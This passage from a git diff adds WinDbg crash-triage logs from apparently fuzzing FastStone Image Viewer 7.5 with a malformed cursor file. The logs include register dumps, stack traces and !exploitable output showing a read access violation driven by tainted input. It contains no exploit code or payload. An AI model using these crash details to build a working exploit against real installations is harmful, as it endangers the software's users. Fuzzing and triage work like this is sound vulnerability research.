00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1550.10dc): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=01ffed2d ecx=07ee7b10 edx=00003879 esi=f9e30010 edi=07cf4fd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.743861801539748960000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 4.807384400000000000000e+0007 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-1.08304e-023 1723.74 -619.862 -1.0626e-030 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07fc8130 07f45930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 0022a000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 0022a000 95d3f6f9 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62af 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 0022a000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x052e1964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x052e1964) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/55199/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/55199/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..81080fc Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/55199/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/56596/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/56596/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..24ca36b --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/56596/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Reading From 0x00000000001a4002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/56596/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/56596/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..f9e3868 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/56596/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/56596/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/56596/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..b75a53d --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/56596/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,194 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x854: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x854: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`001d0000 00000000`001ed000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(854.5b8): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=007fed2d ecx=07e47b10 edx=00003879 esi=fe630010 edi=0fd1afd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.715714303862129760000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=0.342912 1.7287e+025 5.24785e-009 1.08642e+025 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f28130 07ea5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 002bc000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 002bc000 0091420d 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d6298 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 002bc000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x052e1964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x052e1964) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/56596/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/56596/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..b75a53d --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/56596/WindowsDebugEngine_description.txt @@ -0,0 +1,194 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x854: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x854: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`001d0000 00000000`001ed000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll 